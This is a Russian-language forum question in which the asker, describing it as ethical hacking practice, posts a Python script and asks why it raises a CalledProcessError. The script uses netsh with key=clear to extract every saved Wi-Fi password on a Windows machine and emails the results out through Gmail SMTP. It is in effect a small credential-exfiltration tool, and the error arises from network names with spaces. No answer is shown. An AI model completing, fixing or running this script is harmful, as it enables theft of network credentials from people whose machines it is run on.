Как исправить ошибку CalledProcessError (retcode, cmd, output = output) - PullRequest
0 голосов
/ 08 мая 2020

Я изучаю этический взлом и пытался создать программу для отправки информации о пароле Wi-Fi на мою почту, но застрял с ошибкой подпроцесса. Вот мой код:

#! usr/bin/env python

import subprocess , smtplib,re

def send_email(email, password,message):
    server = smtplib.SMTP("smtp.gmail.com", 587)
    server.starttls()
    server.login(email, password)
    server.sendmail(email, email , message)
    server.quit()

command = "netsh wlan show profile"

networks = subprocess.check_output(command, shell=True)
networks_names_list = re.findall("(?:Profile\s*:\s)(.*)",networks)


result = ""
for network_name in networks_names_list:
    command = "netsh wlan show profile " + network_name + " key=clear"
    current_result = subprocess.check_output(command, shell=True)
    result = result + current_result



send_email("abc@gmail.com","******",result)

после выполнения программы я получил следующую ошибку:

 File "execute_and_report.py", line 21, in <module>
    current_result = subprocess.check_output(command, shell=True)
  File "C:\Python27\lib\subprocess.py", line 223, in check_output
    raise CalledProcessError(retcode, cmd, output=output)
 key=clear' returned non-zero exit status 1sh wlan show profile realme 3 Pro
Добро пожаловать на сайт PullRequest, где вы можете задавать вопросы и получать ответы от других членов сообщества.
...